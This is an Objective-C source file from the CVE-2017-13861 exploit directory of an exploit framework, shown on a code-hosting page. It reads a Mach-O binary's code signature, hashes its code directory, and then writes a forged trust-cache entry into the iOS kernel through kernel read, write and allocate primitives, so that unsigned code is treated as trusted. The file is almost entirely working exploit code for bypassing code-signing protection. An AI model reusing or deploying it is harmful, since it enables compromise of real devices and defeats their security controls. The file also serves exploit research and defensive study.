Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/trustcache.m
Views: 11780
1#include <stdio.h>2#include <stdint.h>3#include <stdlib.h>4#include <mach-o/fat.h>56#include "patchfinder64.h"7#include "kernel_utils.h"8#include "sha1.h"9#include "sha256.h"1011#import <Foundation/Foundation.h>1213//#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)14#define LOG(str, args...)1516struct trust_mem {17uint64_t next; //struct trust_mem *next;18unsigned char uuid[16];19unsigned int count;20//unsigned char data[];21} __attribute__((packed));222324uint32_t swap_uint32( uint32_t val ) {25val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF );26return (val << 16) | (val >> 16);27}2829uint32_t read_magic(FILE* file, off_t offset) {30uint32_t magic;31fseek(file, offset, SEEK_SET);32fread(&magic, sizeof(uint32_t), 1, file);33return magic;34}3536void *load_bytes(FILE *file, off_t offset, size_t size) {37void *buf = calloc(1, size);38fseek(file, offset, SEEK_SET);39fread(buf, size, 1, file);40return buf;41}4243uint8_t *get_code_directory(const char* name) {4445FILE* fd = fopen(name, "r");4647uint32_t magic;48fread(&magic, sizeof(magic), 1, fd);49fseek(fd, 0, SEEK_SET);5051long off, file_off = 0;52int ncmds;53int foundarm64 = 0;5455if (magic == MH_MAGIC_64) { // 0xFEEDFACF56struct mach_header_64 mh64;57fread(&mh64, sizeof(mh64), 1, fd);58off = sizeof(mh64);59ncmds = mh64.ncmds;60}61else if (magic == MH_MAGIC) {62printf("[-] %s is 32bit. What are you doing here?\n", name);63fclose(fd);64return NULL;65}66else if (magic == 0xBEBAFECA) { //FAT binary magic6768size_t header_size = sizeof(struct fat_header);69size_t arch_size = sizeof(struct fat_arch);70size_t arch_off = header_size;7172struct fat_header *fat = (struct fat_header*)load_bytes(fd, 0, header_size);73struct fat_arch *arch = (struct fat_arch *)load_bytes(fd, arch_off, arch_size);7475int n = swap_uint32(fat->nfat_arch);76printf("[*] Binary is FAT with %d architectures\n", n);7778while (n-- > 0) {79magic = read_magic(fd, swap_uint32(arch->offset));8081if (magic == 0xFEEDFACF) {82printf("[*] Found arm64\n");83foundarm64 = 1;84struct mach_header_64* mh64 = (struct mach_header_64*)load_bytes(fd, swap_uint32(arch->offset), sizeof(struct mach_header_64));85file_off = swap_uint32(arch->offset);86off = swap_uint32(arch->offset) + sizeof(struct mach_header_64);87ncmds = mh64->ncmds;88break;89}9091arch_off += arch_size;92arch = load_bytes(fd, arch_off, arch_size);93}9495if (!foundarm64) { // by the end of the day there's no arm64 found96printf("[-] No arm64? RIP\n");97fclose(fd);98return NULL;99}100}101else {102printf("[-] %s is not a macho! (or has foreign endianness?) (magic: %x)\n", name, magic);103fclose(fd);104return NULL;105}106107for (int i = 0; i < ncmds; i++) {108struct load_command cmd;109fseek(fd, off, SEEK_SET);110fread(&cmd, sizeof(struct load_command), 1, fd);111if (cmd.cmd == LC_CODE_SIGNATURE) {112uint32_t off_cs;113fread(&off_cs, sizeof(uint32_t), 1, fd);114uint32_t size_cs;115fread(&size_cs, sizeof(uint32_t), 1, fd);116117uint8_t *cd = malloc(size_cs);118fseek(fd, off_cs + file_off, SEEK_SET);119fread(cd, size_cs, 1, fd);120fclose(fd);121return cd;122} else {123off += cmd.cmdsize;124}125}126fclose(fd);127return NULL;128}129130void get_sha256_hash(const uint8_t* data, uint32_t datasize, uint8_t *out) {131SHA256_CTX ctx;132sha256_init(&ctx);133sha256_update(&ctx, data, datasize);134sha256_final(&ctx, out);135}136137void get_sha1_hash(const uint8_t* data, uint32_t datasize, uint8_t *out) {138SHA1_CTX ctx;139SHA1Init(&ctx);140SHA1Update(&ctx, data, datasize);141SHA1Final(out, &ctx);142}143144int trust_bin(const char* filepath)145{146uint64_t trust_chain = Find_trustcache();147if (!trust_chain) {148trust_chain = Find_trustcache10_3_2();149}150LOG("trust %p\n", (void*)trust_chain);151152struct trust_mem fake_chain;153fake_chain.next = KernelRead_64bits(trust_chain);154*(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe;155*(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe;156LOG("trust_chain %p\n", (void*)fake_chain.next);157158uint8_t *cd = get_code_directory(filepath);159if (!cd) {160return -1;161}162163uint32_t* code_dir_int = (uint32_t*)cd;164uint32_t realsize = 0;165for (int j = 0; j < 10; j++) {166if (swap_uint32(code_dir_int[j]) == 0xfade0c02) {167realsize = swap_uint32(code_dir_int[j+1]);168cd += 4*j;169}170}171172uint8_t *hash;173size_t hash_size;174// iOS 11 uses sha-256175if (kCFCoreFoundationVersionNumber >= 1443.00) {176hash_size = 32;177hash = malloc(hash_size);178get_sha256_hash(cd, realsize, hash);179} else {180hash_size = 20;181hash = malloc(hash_size);182get_sha1_hash(cd, realsize, hash);183}184185fake_chain.count = 1;186size_t length = (sizeof(fake_chain) + hash_size + 0xFFFF) & ~0xFFFF;187uint64_t kernel_trust = Kernel_alloc(length);188LOG("[*] allocated: 0x%zx => 0x%llx\n", length, kernel_trust);189190KernelWrite(kernel_trust, &fake_chain, sizeof(fake_chain));191KernelWrite(kernel_trust + sizeof(fake_chain), hash, hash_size);192KernelWrite_64bits(trust_chain, kernel_trust);193194return 0;195}196197198199